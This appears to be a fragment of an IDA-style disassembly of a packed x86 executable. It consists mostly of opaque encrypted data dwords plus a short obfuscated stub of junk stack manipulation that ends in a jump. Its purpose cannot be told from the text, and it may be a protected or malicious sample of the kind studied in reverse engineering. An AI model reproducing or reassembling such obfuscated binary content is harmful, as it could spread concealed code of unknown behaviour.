		dd 3495A00h, 5D6F42C8h,	3E3A28E2h, 0E53962C8h, 883CFCC7h
		dd 73467E3h, 453BFC86h,	0B53216D8h, 0BF4D95F1h,	46h, 8535A8EFh
		dd 117BC04Ah, 353513D7h, 0FC94B666h, 71F5493Ch,	0FC92012Ah
		dd 0D427D43Bh, 3BFC91ABh, 40CA0DB3h, 90FCAFFBh,	9EC79488h
		dd 773BFC92h, 6249D184h, 3BFC9235h, 288AABh, 4D95C967h
		dd 0CE6Dh, 3491900h, 596F42C8h,	73197C9Eh, 8D3F92B8h, 0FB3C4025h
		dd 0DFAB7FA8h, 0F2A55646h, 80210348h, 1799A2F4h, 0E2E94D3Dh
		dd 3A475F4Ah, 889BF59Bh, 46DF89C1h, 97506518h, 0F32C5CBDh
		dd 0EC9EF377h, 0C9DC2F2Bh, 46DF99A0h, 0FE4A8675h, 71047474h
		dd 9F1C2238h, 0DE91111Eh, 1EAACF6Bh, 3C6FEB25h,	3CFA9E3Dh
		dd 560B2FDCh, 0D035E526h, 264F1CACh, 0FF3BFA3Ch, 0B86F590Ch
		dd 0AF14C20Bh, 0A01D58Bh, 3A410000h, 863409C1h,	0ABC9149h
		dd 97381DCDh, 13A59852h, 0D50562D8h, 0A862A5EBh, 31E92255h
		dd 0B872AFDCh, 0EFC3745h, 0FD267505h, 0D03BF55Bh, 749E525h
		dd 0A3970E44h, 4176248Dh, 0A862D588h, 4EEC2755h, 6BA5622Bh
		dd 95265B9Fh, 49247854h, 6F42C803h, 2558E25Dh, 44BDCA97h
		dd 4DC34791h, 47Ch, 67A0E88Dh, 542518E3h, 0B3824B7Bh, 0A63B6BA5h
		dd 286A4A2h, 0DFAB3059h, 3A160546h, 0AAC16D3Eh,	0EF9C3CFCh
		dd 0A813406Bh, 0D4493BFCh, 0D3813E0Ah, 0DA8B4D95h, 0FB000001h
		dd 0DFAB557Fh, 90F6F246h, 0D09C1251h, 58E25544h, 0F5881A13h
		dd 2208F33Ch, 58812AAEh, 2D3BF586h, 0F961A6E8h,	4755F12h
		dd 8ACFBB74h, 402505FEh, 0ED90F93Eh, 0F3DD2E2Ch, 7BCD8D47h
		dd 9720ACFFh, 4A2F3212h, 0F358C23Bh, 0AE9A8199h, 9E5B16Dh
		dd 10AE40E4h, 0B0000009h, 271AD009h, 0AFE25897h, 2B6EDC1Bh
		dd 94E9A166h, 347327E0h, 71AADAC6h, 0F83144B9h,	41BECF02h
		dd 0CB04B489h, 3566F41Fh, 3BF55C0Ch, 49F634E1h,	0EE2F5E03h
		dd 2E2C9F6Ch, 44C6014Bh, 740267FBh, 3AA451BBh, 0B367A0E8h
		dd 76D0EF98h, 12FE547h,	20450000h, 4DBE5C9Dh, 9A80790Ch
		dd 494767B1h, 6F42C803h, 3A28E25Dh, 0C3ECBF3Eh,	9A46DFAAh
		dd 0F92249F1h, 0CC46DFAAh, 9DCE6CDFh, 3CFCC849h, 0C8D37724h
		dd 3BFC869Bh, 0A6822CD1h, 4D95F119h, 4613h, 0A2A68300h
		dd 790286A4h, 50DA08E7h, 0F4334754h, 0E632E556h, 0FC5615C5h
		dd 0D713F83Ch, 84DF0853h, 0C5B63BFCh, 1238F184h, 604BEF29h
		dd 3BFC8533h, 1E2AB4A9h, 4D95F661h, 0FFF22E5Dh,	337E7837h
		dd 9427D9h, 49570000h, 6F42C803h, 197C9E59h, 3F92B873h
		dd 9398528Dh, 46DFDA5Ch, 75054C7Ch, 0D113C7BAh,	600B2F19h
		dd 3CFAFF61h, 0F2975338h, 7C5109C2h, 66558F48h,	0FD14C224h
		dd 7F9A759h, 32590000h,	0BECC01F9h, 2B48941h, 8F3015C5h
		dd 0BBD904Ah, 0DD0D1AD0h, 0A01ADDE3h, 29E15A6Dh, 0B06AA7D4h
		dd 6F42F5Dh, 0F51E4D0Dh, 0C83BF559h, 749DD2Dh, 281566C4h
		dd 19581F6Ch, 56606353h, 8174023Dh, 0EA9EF357h,	1BEC1546h
		dd 0DAC146DFh, 1CAEC367h, 80CC3FDBh, 349F038h, 7B0F62C8h
		dd 0C5B850BCh, 888E7CB7h, 26Ch,	32A2A61Ch, 780E4B84h, 3D6ECCBFh
		dd 3CF5E88Ah, 0F9A8DEB3h, 8F317D0h, 0A46B555h, 0BEED6D1Eh
		dd 3BF56691h, 0BC8C56CFh, 4D9C9503h, 20D09h, 7E2DA100h
		dd 3BF55A55h, 15094328h, 0DFAB557Fh, 10F6F246h,	0CA05B72Ah
		dd 5991FB40h, 0F5E86712h, 513A3E3Ch, 0F57C3635h, 3C65B8D1h
		dd 113BF4E8h, 0DEB3B76Ah, 94C971AAh, 1BEF29E6h,	0E9D99226h
		dd 0C3692828h, 35C95104h, 9C1EAB1h, 0E7943BF5h,	0A1A7A3ADh
		dd 1B46D299h, 32D93212h, 0E62DF9F6h, 6A0C2009h,	6F7h, 3F7305Bh
		dd 8B7FB8CEh, 17C304B6h, 92488132h, 1CCE09BFh, 0D3E5DF13h
		dd 586FA218h, 0A1D62B9Fh, 2D5FB268h, 4F0B38F2h,	0F558F31Ch
		dd 0DF2FCA3Bh, 488335A8h, 0A49F2D0Ch, 394F22A6h, 0A5EF5CFEh
		dd 4FCB04B4h, 73935FF0h, 3FDC8E49h, 4776D086h, 1518Ah
		dd 349FA00h, 5D6F42C8h,	513428E2h, 0E9856C2Fh, 1A2187E8h
		dd 0BACEA3A7h, 384D8E41h, 8F4B95FFh, 96EAB1B9h,	0F93CFC94h
		dd 76A30812h, 663BFC95h, 5769455h, 0CE46EF93h, 12A6E35Fh
		dd 0BFE394Fh, 0DC86BF0Fh, 0EE70ED5Ch, 95A12DDAh, 4A7C114Dh
		dd 0C0394C8Dh, 65A7F15Ah, 34h, 0A4A2A611h, 9425D586h, 63083CFCh
		dd 0EF1843C7h, 0C63BFC91h, 4C5FFBD5h, 3BFC921Fh, 0D3EA05Dh
		dd 91B9E289h, 9F8C3BFCh, 0C9E582B5h, 0ACEF4D95h, 9F000000h
		dd 42C80349h, 811E596Fh, 0DA9B88CFh, 63E763D6h,	53BD7E0Eh
		dd 0E5195266h, 4360DC78h, 19D6E425h, 0BBC1A4A6h, 5A818A40h
		dd 246DFB8h, 0A5622B76h, 47E356A5h, 0B1599222h,	0A8BA0E4Ah
		dd 0C79456B0h, 3CFB0FC8h, 254E1D91h, 0F83BFA13h, 4639F285h
		dd 0D7FB1E0Ah, 0F89D5D10h, 3BF485D4h, 9BF9248h,	351B92CEh
		dd 0D60A14C2h, 5A630h, 0A69F2A00h, 2EE991F4h, 0B275197Ch
		dd 37F085F8h, 0BD7E0E43h, 0B430A2CDh, 3E13C700h, 0B99C4E8Fh
		dd 2E63D710h, 5AE9A19Ah, 58A2CB90h, 9E7B3BF5h, 0C4074988h
		dd 0B97E0366h, 0E296EB5Fh, 49297129h, 6F42C803h, 3358E25Dh
		dd 0A158D065h, 0C8B09CA5h, 2F36h, 3496600h, 5D6F42C8h
		dd 972558E2h, 0EDD8705Ch, 0CDF09569h, 0EA3D0E0Ch, 46DFAAC1h
		dd 90ADE794h, 538C3CCEh, 992E43E7h, 3DC674A0h, 0D6000000h
		dd 42C80349h, 0DFAB2D59h, 0D8893146h, 62E971B6h, 8236ABAFh
		dd 40F9C149h, 95BEED9Eh, 6846DFABh, 62A3D083h, 0A19A2EC0h
		dd 0AAF175E9h, 46DFAB81h, 628BD054h, 3B46DFABh,	73B39D50h
		dd 42C80349h, 0FC7EC880h, 0B9720578h, 3D6EAA91h, 3CF5E89Eh
		dd 2AAE8C7Fh, 44C601B7h, 7AE05B61h, 87F2DE91h, 0D403AF5h
		dd 0CC86847Fh, 6B303A0Ch, 320BA2A1h, 0AEF385F8h, 0D13A2019h
		dd 0EA8FAB1Eh, 50B565DEh, 996BEF28h, 98C367E1h,	3CFC9898h
		dd 53508C7Fh, 0CE14BFAFh, 489742Ah, 82C90000h, 0EBC9149h
		dd 922419D1h, 1FA0E555h, 9B2D60DAh, 4DBDEAA0h, 30EA2D53h
		dd 0B971AADDh, 0FA3744h, 9644BFCDh, 85AEFD7Dh, 583BF557h
		dd 3496DBDh, 8D3F12C8h,	0D7E3E852h, 4501CA5Bh, 8044F420h
		dd 484F05FBh, 9CF84425h, 16D40FBDh, 0FC8FF92h, 0C4ED000Bh
		dd 9946DF8Ch, 72985164h, 5EFAD689h, 0E1E24CE1h,	0D602FF8Ch
		dd 679ED9E3h, 0AEEEAA97h, 0E11AD083h, 4776F644h, 4F4Ch
		dd 0A2A63800h, 82D586A4h, 3B3CFCDCh, 0F9FEB450h, 53BDBEC2h
		dd 0E386A457h, 5EAD1DDAh, 3BFC972Fh, 98528D3Fh,	5CE23744h
		dd 0DD8AC4DDh, 548073ACh, 7B0D5465h, 0FEB19A80h, 5704985Ch
		dd 3BFBEB2Eh, 0D2211407h, 3F90DD1Ah, 0BC9FBD97h, 0F000003h
		dd 42C80349h, 28E25D6Fh, 62C83E3Ah, 0FCC7E539h,	67E3883Ch
		dd 27E198E3h, 655820DCh, 32CBF82Bh, 1C013BFCh, 502A5152h
		dd 482351B6h, 0D45182CEh, 0EA4D959Ch, 505C2F7h,	6D22B4B6h
		dd 40334B7Ch, 3BF214h, 0A8A20000h, 2B8AA7D4h, 0F50A2265h
		dd 0DEC979A2h
		dd 755F4C46h, 0D119EFEBh, 0FBB2DA8Ah, 4CCEBD3Ch, 0FBB0325Fh
		dd 2BB7A83Bh, 952B601Dh, 0B9684Dh, 4CC00000h, 0FBA3F61Fh
		dd 0F0DCCF3Bh, 0C80349ACh, 0A6EB8E42h, 0BA082E61h, 945E1DE1h
		dd 0EC2F51B8h, 78A1CA4Eh, 4D46DF76h, 0E3C6725Eh, 1C2F9ED9h
		dd 18869962h, 4C21A5A5h, 0A594C039h, 1D6EDC17h,	46DEE946h
		dd 0F1A96216h, 1733EC9Ch, 8FAB9D5Dh, 0FC03B8DCh, 4272973Ch
		dd 0CE64D689h, 6D3E3C0Ah, 3217B85Ch, 8DE04A31h,	774A00FBh
		dd 0C75A8641h, 0BE09E2E7h, 2CDE49Ah, 46750000h,	0D2F8DD8Dh
		dd 5E60A515h, 0DBEC2199h, 2769AC1Eh, 9F936E4h, 7C2EE99Fh
		dd 0C5B57619h, 4C3EFB80h, 0D2884309h, 0C9F2B931h, 9C3BF554h
		dd 35A8A9E1h, 6FA8DC85h, 577950BCh, 0D9E32694h,	0A85CAC1Eh
		dd 0AB5E87D4h, 0D23746DFh, 19E268A1h, 0E8E06AA6h, 0DF8FDC1Eh
		dd 663CFC94h, 5FB97E03h, 0E79AA04Bh, 6F515D2h, 0D6AA2ECAh
		dd 0FC925C85h, 0E4A313Bh, 0FC91F01Dh, 6DF16E3Bh, 95C9A25Bh
		dd 0CDFD904Dh, 0CD04C612h, 70000000h, 0DD8435A8h, 9DBD70ABh
		dd 457762AEh, 9B2D808Ah, 1AF1BAA0h, 4246DFA7h, 0C80DFD36h
		dd 0FC34780h, 0A9E35C6Ah, 87CBABAFh, 0BE71DA40h, 0B9CBEFBCh
		dd 19823CFCh, 0E1B79378h, 31E95CB6h, 69D13733h,	17B55242h
		dd 0DCE02532h, 590CFF1Bh, 0FC8FC91h, 5803875Bh,	46D9652Fh
		dd 0C5458237h, 1D772476h, 154F883Ch, 9E2E2F4h, 0D4954BEFh
		dd 7C000001h, 0E326944Dh, 6BAE1CDBh, 0D72AE027h, 50B565A2h
		dd 0F03FEB2Ch, 35F68602h, 0BC7D0045h, 5C28BCEh,	8F487055h
		dd 0F9A228DBh, 3BF553D0h, 49B2F8A5h, 60D04407h,	76A96E13h
		dd 16735EBEh, 54A7A364h, 912459E1h, 0F49B258h, 0F93246BBh
		dd 7B5E2D01h, 0D613B8EAh, 0C294C734h, 91D7792h,	42C80349h
		dd 38610A8Eh, 0D46DFABh, 0B5C7321Eh, 3F4D807Ah,	6FEB2452h
		dd 0A321299Ch, 0D299A1A7h, 3CFCC642h, 6D2426D5h, 5C2F4E9h
		dd 23DA3605h, 0E25D6FBFh, 5A952558h, 0B9014BB0h, 0F747D6A5h
		dd 3F19427Ah, 0F94F0BD5h, 3279FD71h, 3BFC3109h,	0FA60DBEDh
		dd 2812F911h, 0FC315A83h, 0C48333Bh, 19293B1Bh,	0E1691232h
		dd 703FC8Ch, 0D6C995AAh, 0B2363412h, 0DF38C0E9h, 0AAE69546h
		dd 2B72AAEh, 9AF645C5h,	0FC31A989h, 31593C3Ch, 0B8E9AF6h
		dd 46990641h, 0D5F21850h, 0A013F862h, 2AE597EAh, 4EFF8C00h
		dd 0A92681FBh, 8CED1669h, 0DBC03BFCh, 576459F1h, 0B22B509Ah
		dd 6C377546h, 3B8AAEEAh, 0C7F0BB3Fh, 9E3BFC68h,	0C86AA3EDh
		dd 0E1599226h, 0B9818743h, 198362F2h, 0C4463532h, 0FA60DBE1h
		dd 0DFD092ABh, 86D20BBAh, 0A08A7C7Ch, 0FC616BFBh, 0D119023Ch
		dd 0D0B1D1AAh, 4EED4840h, 2468A165h, 0A0187427h, 0FA40C682h
		dd 12B8E3B1h, 3047BA32h, 35E853F7h, 0CF08B015h,	1843C71Bh
		dd 46D63FEFh, 0F561BAE1h, 0BDCD831Ah, 0E59782CEh, 0D7B202Ah
		dd 5D342F57h, 7356F42Fh, 382884Fh, 83D0A80Ah, 7A0EE042h
		dd 0C4F4C981h, 19AA0F0Bh, 0D26B3A20h, 11CAFE10h, 8E305529h
		dd 6B0D3649h, 3BE03331h, 641469D1h, 0C09AFABh, 9D000000h
		dd 0E5E923A8h, 0D0CC9D3Ch, 49041484h, 6C41C902h, 267E35Ch
		dd 3B9EBC75h, 0D2B75394h, 8CE169A2h, 0A61B3FF8h, 5336D415h
		dd 0F62E82Fh, 0B99A807Fh, 688468h, 24248900h, 4B850h, 44010000h
		dd 68580424h, 2F89h, 52242C89h,	0C281E289h, 4, 4EA81h
		dd 14870000h, 34895C24h, 5D47BD24h, 0BA521911h,	3B136D83h
		dd 8103E2C1h, 8BAADBC2h, 5AD52935h, 24348B54h, 4C481h
		dd 0EC830000h, 242C8904h, 0FF08468Fh, 835E2434h, 34FF04C4h
		dd 0C4835D24h, 261BE904h, 7FF7FFF9h, 0EA592EB8h, 0FFC5030Ah
		dd 0B0F91BE0h, 38BF1546h, 687B2348h, 0FE78BA57h, 0D8CAB42h
		dd 5BB0EA0Bh, 58E6511Eh, 33EF636Ch, 0A18D8D30h,	0B20AEA5Ah
		dd 798D89FCh, 6A0AE314h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 90E2C350h, 85C774FDh
		dd 0AE306C9h, 5944h, 93BE6660h,	0D2816658h, 0C7615B28h
		dd 0E3006985h, 0Ah, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0F0FF30B1h, 0DF6E3956h
		dd 0D1858B3Ah, 0FF0AE31Bh, 0E32C91B5h, 53006A0Ah, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 5AADBF2Bh, 95FFCAEAh, 0AE326B5h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0A2C35040h,	0AE27D34Ch, 0B601394h
		dd 0E319F58Dh, 858D8B0Ah, 610AE313h, 95FF006Ah,	0AE31CD1h
		dd 2CEBC08Bh, 0AD1ADF0Eh, 650C7587h, 1E629A0Dh,	0C869A611h
		dd 4491AAD0h, 0D5DE5B9Fh, 2432FF62h, 3AFF272h, 0DE2BAC8h
		dd 7D3364E1h, 18AA5153h, 1CF185C6h, 68560AE3h, 0A9C530DFh
		dd 2F11B5FFh, 858D0AE3h, 0AE6ACF3h, 8D8DD0FFh, 0AE333A1h
		dd 0FF406A51h, 0E31CA9B5h, 0A5B5FF0Ah, 0FF0AE32Fh, 0A9B5FFD0h
		dd 0FF0AE31Ch, 0E32FA5B5h, 8E80Ah, 0F68F0000h, 820ABC88h
		dd 5B5B85E2h, 0C104EB83h, 0C102242Ch, 3022424h,	1CF7241Ch
		dd 6824h, 0FF590000h, 815F1934h, 47C2F1EFh, 6DC78178h
		dd 81588C01h, 0E1F393EFh, 0B3C892Dh, 4901E983h,	0C3B4949h
		dd 0D8850F24h, 8DFFFFFFh, 0E316919Dh, 0B038B0Ah, 7840FC0h
		dd 8B000000h, 45B8B03h,	0C98B1889h, 0BE8h, 49124E00h, 44859988h
		dd 0BEA455C3h, 6E9h, 0D5CDBC00h, 59679BDFh, 0AE9h, 714CC800h
		dd 8E4920E1h, 81F4917Ah, 6D9EC1h, 25E68000h, 1B3A68h, 5E06B000h
		dd 38CB866h, 9E9198Bh, 83000000h, 6822C58Ch, 0F8893B3Ch
		dd 405F381h, 0F3813560h, 4639446Ch, 3ADA8166h, 70F381D7h
		dd 0F572868Dh, 81661989h, 8340C0F0h, 0E96004E9h, 0Fh, 0A35720EFh
		dd 352C4032h, 4A319F3Ah, 0FDF109Dh, 0F89h, 0AE900h, 8D160000h
		dd 0B9FE83FEh, 0AD377E37h, 1EE8361h, 0FF9A850Fh, 14E9FFFFh
		dd 27000000h, 79947C5Ah, 83899E5h, 6BF7EEFh, 0AAD3A1BDh
		dd 0E9BAF552h, 0Dh, 627BCB56h, 2 dup(0)
		dd 54EE900h, 73680000h,	0E90AEA5Dh, 0FFF92361h,	0EA5DEB68h
		dd 2357E90Ah, 6668FFF9h, 0E90AEA5Fh, 0FFF9234Dh, 0EB5F9823h
		dd 7327E096h, 0FFAB6C1Eh, 7A30E99Ah, 0C4B67107h, 3B4D37ABh
		dd 80370AC0h, 9BE9347h,	95271AD0h, 9763E05Ah, 0F54F9BC4h
		dd 8787723Bh, 99440749h, 72ABDA65h, 3A3063E8h, 86847758h
		dd 0F41D4EC2h, 0C946DF36h, 12C502B4h, 6EA9D3C6h, 54B2B6BCh
		dd 0CD9E1296h, 46DF37A4h, 8FE51A5Eh, 0A5F5AEBAh, 8D899AF6h
		dd 3CFC85h, 72ACDF1Bh, 9656B739h, 802BCF09h, 3BFC3053h
		dd 0A9B1761Bh, 0C4468334h, 0F28628E9h, 70581A3Bh, 4D95ABF7h
		dd 338FDh, 76187D00h, 0E52268B1h, 579C7BABh, 0D1FBDB9Fh
		dd 0AB113A61h, 37E446DFh, 2A99144h, 3CFC8F46h, 0DD8EB259h
		dd 4697E899h, 0FA3D4124h, 3294549Eh, 9FA94048h,	1BDF92A9h
		dd 7F005766h, 0F8AB90BAh, 0ABAFE952h, 76389800h, 1E3CEF45h
		dd 88B29454h, 96FF1FE3h, 0BE3D6E3Fh, 44887122h,	0D3B6B467h
		dd 15D2F8A9h, 0E795E8A2h, 0B15DF02Ch, 0B0540162h, 36C1Eh
		dd 568F3A00h, 0DE19A1E4h, 0A265296Ch, 27E095E8h, 0AD6E1E73h
		dd 4440B2FDh, 0CE03F730h, 498C7EBFh, 3E13C700h,	6A99518Ah
		dd 4E92BBE0h, 8E6B3BF5h, 0A4A2A678h, 8CDDE386h,	340703FCh
		dd 98C31741h, 3CF5CF95h, 0D7AB8F7Ch, 4EDF0853h,	0C5B63BF5h
		dd 0DD1EAE8Bh, 7482C96Dh, 4D25BD87h, 87C9206Ch,	13D5C644h
		dd 4B44F74Ch, 0ED2A5001h, 6445CE3Ah, 0B85CFEF2h, 2F406h
		dd 0DE17A200h, 0A661296Ch, 2AED91F4h, 0AF681D70h, 35F686FBh
		dd 0CCB82A45h, 0B68B7FB8h, 3114C607h, 0A69B4F88h, 0E261D912h
		dd 4E1A4368h, 6F33BF5h,	24A2A600h, 0DF7CBEA9h, 1BDF9203h
		dd 0B9935466h, 0CDE7EAB1h, 0D7E3CF5h, 121A94D7h, 65458FEDh
		dd 0A0606936h, 0AC7B37B6h, 8A6A9FDCh, 0A3C87225h, 3BF4E37Ah
		dd 55F5A853h, 0F4E31946h, 4AE573Bh, 9C1C9B24h, 1D3914Dh
		dd 0A2290000h, 1B43E6Fh, 86F942C8h, 0F9832D5Ch,	790E4B3Eh
		dd 67B19A80h, 8035A847h, 0EF6BACD1h, 0A6FA91Ch,	2085857Eh
		dd 77EB5F98h, 0AB7FA8F3h, 0A55646DFh, 1FE9E16Bh, 0D617A6DBh
		dd 4D8DC734h, 0FCC7CA1Eh, 0DA81A53Ch, 3BFC85B1h, 26249784h
		dd 0FC864875h, 0D599863Bh, 95F14AF3h, 397E4Dh, 0A62E0000h
		dd 286A4A2h, 0B09C5B6Fh, 0FC94BF6Fh, 65E5963Ch,	0FC920936h
		dd 66A1D53Bh, 4DFD81E4h, 0FC91F51Eh, 7023C83Bh,	0D19DC8EAh
		dd 0E34FF0A7h, 95C938C5h, 0B0304Dh, 0A85C0000h,	2CFEF23h
		dd 4C7331ACh, 9DFCD88Bh, 0B31634EFh, 6D40CA0Dh,	366E45Fh
		dd 0BFCCBE79h, 46DF98DCh, 0BC7D0065h, 98537950h, 0FE480022h
		dd 8AB3F87Ch, 6346DFA0h, 0A0739CCFh, 0A14A46DFh, 556A2EEh
		dd 3CFB4706h, 33569487h, 34A9CA8Dh, 2F5D72C8h, 54B8E7Ch
		dd 77BE3A42h, 0C1B48CF9h, 0C20D6C87h, 19BF5314h, 179h
		dd 0F7A39C2Fh, 7F2BE492h, 0FBAF681Ah, 4634F586h, 0C0BA7D03h
		dd 74933A7h, 8C3316C4h,	0DBA9F4Bh, 992366D4h, 9367EC5Eh
		dd 0F54C9FC8h, 838B763Bh, 16C40749h, 72398933h,	46DFAB49h
		dd 992A6F1Ch, 9E51BAA0h, 349DC2Ch, 69F12A5Eh, 0D215B9E2h
		dd 2A10C348h, 8BC502B7h, 857E0A6Fh, 0ED5B1FD5h,	0DCCB1E4Dh
		dd 0F9A23CFCh, 39681C71h, 43C85295h, 0B6897B10h, 92454B0Ch
		dd 907704D8h, 5343CB29h, 2A214A11h, 7F43BFCh, 0FA277854h
		dd 33BFC29h, 29B3DC8Fh,	11BB3BFCh, 0B3C734D6h, 1FAD8CC8h
		dd 6D137624h, 0C8528F3Ch, 8BB4E743h, 623BFC2Ah,	1764C6B9h
		dd 0D530D4FDh, 0DC7C58D3h, 0B83Ah, 0BAC3A600h, 0AA38610Ah
		dd 1E0D3BFCh, 705CAFABh, 0A4A2A62Ch, 30590286h,	546DFABh
		dd 48833516h, 989FCC0Ch, 0A13CF5CFh, 0C1D3C0DAh, 6CA889E9h
		dd 0D6CB4F3Ch, 2CE9E9A2h, 7D902008h, 0CFFDD08Ah, 1F72F614h
		dd 56933869h, 0C676A9E3h, 90D4648Bh, 9BFEEF73h,	0B94BB1F6h
		dd 690830A6h, 4D7F5AB6h, 8004D892h, 64A1B2DBh, 0B4E08BE4h
		dd 5EFC3745h, 0A991567Bh, 12458234h, 1D396EF8h,	0D0785444h
		dd 0F5F678D1h, 0EE2AEF90h, 5406C18Bh, 264F1C90h, 0FFE4648Dh
		dd 0A3E9C00Ch, 0E0CCDFEh, 9BE04A3Dh, 0AF0D351Ah, 6296C2F8h
		dd 0CCCh, 0CC7F0C00h, 3A983F9Bh, 0C8A5F9D3h, 0C90249E0h
		dd 0E35C6C41h, 0BC750267h, 53943B9Eh, 69A2D2B7h, 3FF88CE1h
		dd 0D415A61Bh, 0E82F5336h, 807F0F62h, 8957B99Ah, 4C781E7h
		dd 56000000h, 4BEh, 5EF72900h, 5C243C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	610Fh
		mov	[esp], edx
		push	eax
		mov	eax, 44FC7F84h
		dec	eax
		shl	eax, 8
		xor	eax, 0F695DF6Ah
		push	ebp
		mov	ebp, eax
		mov	esi, ebp
		pop	ebp
		pop	eax
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	esi
		pop	dword ptr [edx+8]
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		db 23h
		dd 4339B543h, 0E807F84Bh, 0AD642B7Ah, 0EA6104B8h, 0FFC5030Ah
		dd 9E58A8E0h, 2FA99846h, 0AB161748h, 0AEBDA333h, 6D307208h
		dd 28A8E728h, 0D9E36D51h, 0DC59390Fh, 7C0F4B17h, 0A4F4CE58h
		dd 0B59F7C63h, 0BCA58870h, 93A37242h, 11216E58h, 9E819h
		dd 0D3B30000h, 258EBADCh, 0E9B8295Eh, 0Ch, 0BEC7C1FDh
		dd 77EFD7BEh, 0E6A43D4Dh, 13E859h, 9AF30000h, 9CDEB088h
		dd 6F7DD7CCh, 97FBECECh, 5FC4AF7Dh, 0EE9E2h, 40560000h
		dd 922D9960h, 262DE595h, 4B330A4Fh, 6FC1815Eh, 0F8000061h
		dd 1834BBh, 0CE800h, 95060000h,	5F5851B1h, 0C0553716h
		dd 81661BFBh, 5E01B2E8h, 0EA8031FFh, 0F7815FBEh, 5FC22757h
		dd 3253DE81h, 0EF811AB8h, 345BE836h, 81C0B70Fh,	0F716AF7h
		dd 0DE816610h, 39891AB5h, 0E983E28Ah, 0F3BF0F04h, 0F01EB83h
		dd 0FFFFC785h, 538D8DFFh, 660AEA63h, 0CE52C881h, 14798D89h
		dd 6A0AE3h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 958B44C3h, 0AE3168Dh, 6C985C7h, 5D2C0AE3h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 95E9ABC3h, 8C25A4AAh, 0B1958BC7h,	660AE322h
		dd 0BDC6E381h, 6985C7h,	0AE3h, 0DF8B0000h, 5CDB5FFh, 0EE90AE3h
		dd 6E000000h, 8A1FC4EFh, 78CE0FB2h, 8663F27Eh, 2D8D89CFh
		dd 0FF0AE335h, 0E326B595h, 52006A0Ah, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0C15D7D4Dh
		dd 8C602DA7h, 16759529h, 0BB660AE3h, 6ADC12h, 1CD195FFh
		dd 0C08B0AE3h, 27D62BEBh, 0DA43927Bh, 2F1E385Fh, 1534356Eh
		dd 35FEB06h, 0C579B4B8h, 0AAC8134Dh, 0C2E5CF9h,	0CBC00574h
		dd 151E3E94h, 9C04E968h, 9E8D2h, 0DB230000h, 677F5403h
		dd 8BDA42A3h, 0E319E18Dh, 0B58B5B0Ah, 0AE325CDh, 6B87C381h
		dd 7E80000h, 44000000h,	9F5A3026h, 81663511h, 5E550CCEh
		dd 810FFF2Bh, 4, 574FBA66h, 0E81F34FFh,	0Ch, 0D4C2D7DBh
		dd 0A34AB7CEh, 6C209B7h, 7BE28166h, 66585EC4h, 0F081CB8Bh
		dd 3EF89F13h, 0B1F7BA66h, 7EECF081h, 8509764Fh,	0AE32115h
		dd 2D50F081h, 8B560FF2h, 66505ACEh, 48FD18Bh, 0A082BA3Bh
		dd 8D8B1342h, 0AE31979h, 2F4CEF81h, 606049C2h, 12E8h, 5EBEE700h
		dd 2443840Ch, 8684E1ADh, 6C1E77AAh, 5B154EE3h, 81615E57h
		dd 0A53022F6h, 0C7816110h, 49C22F48h, 1AF1B58Bh, 0FF810AE3h
		dd 0FFFF954Ch, 0FF6E850Fh, 810FFFFFh, 5, 58E68166h, 0CE82Fh
		dd 5630000h, 8EAE41C5h,	14592091h, 9D8B0DAAh, 0AE304C5h
		dd 0E9816658h, 0C0818E24h, 6E40h, 0BE66D22Bh, 3C8B5041h
		dd 519D2310h, 810AE31Eh, 8A85BFF7h, 56B96649h, 0DF78105h
		dd 89160C1Bh, 0E321E195h, 0DCEF810Ah, 816FFA9Ch, 5EF8D9EEh
		dd 103C8947h, 31BB52F8h, 597081D3h, 0E0DEEA81h,	0BE6626A6h
		dd 0C2814BB8h, 26A6E0DAh, 14E9h, 2A8E7900h, 1B91EBF0h
		dd 0DAD0D8B3h, 0ABE8EEh, 133577C7h, 5CFA81B0h, 0FFFFF92h
		dd 0FFFF9585h, 0CE9FFh,	72F70000h, 0E26B01B3h, 0DD65DC54h
		dd 0C08B6FCAh, 2569BD83h, 75000AE3h, 8DBD8309h,	0AE319h
		dd 53501974h, 21B8C08Bh, 89000004h, 0E32D9585h,	0C59D8D0Ah
		dd 0FF0AE5DDh, 83585BD3h, 0E3198DBDh, 1774000Ah, 21B85350h
		dd 89000004h, 0E32D9585h, 0B49D8D0Ah, 0FF0AE5DAh, 8B585BD3h
		dd 819D8BC0h, 0C60AE31Eh, 0E31CF185h, 5268560Ah, 0FF9CA8B8h
		dd 0E32F11B5h, 0F3858D0Ah, 0FF0AE6ACh, 68046AD0h, 1000h
		dd 4A5B5FFh, 6A0AE3h, 0C085D0FFh, 0D850Fh, 0B80000h, 8D000000h
		dd 0E372048Dh, 8BE1FF0Ah, 3C38BC8h, 0F8053C40h,	8B000000h
		dd 0D3030C50h, 1691BD83h, 0F000AE3h, 0E84h, 919D8B00h
		dd 8B0AE316h, 0E3135185h, 5103890Ah, 20858D52h,	0FF0AE37Bh
		dd 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h, 0E31CF185h, 3968560Ah
		dd 0FFD41F6Dh, 0E32F11B5h, 0F3858D0Ah, 0FF0AE6ACh, 800068D0h
		dd 6A0000h, 8BD0FF52h, 69BD83C0h, 0AE325h, 0BD830975h
		dd 0AE3198Dh, 50197400h, 0B8C08B53h, 421h, 2F198589h, 9D8D0AE3h
		dd 0AE5DE2Ch, 585BD3FFh, 198DBD83h, 74000AE3h, 0B8535017h
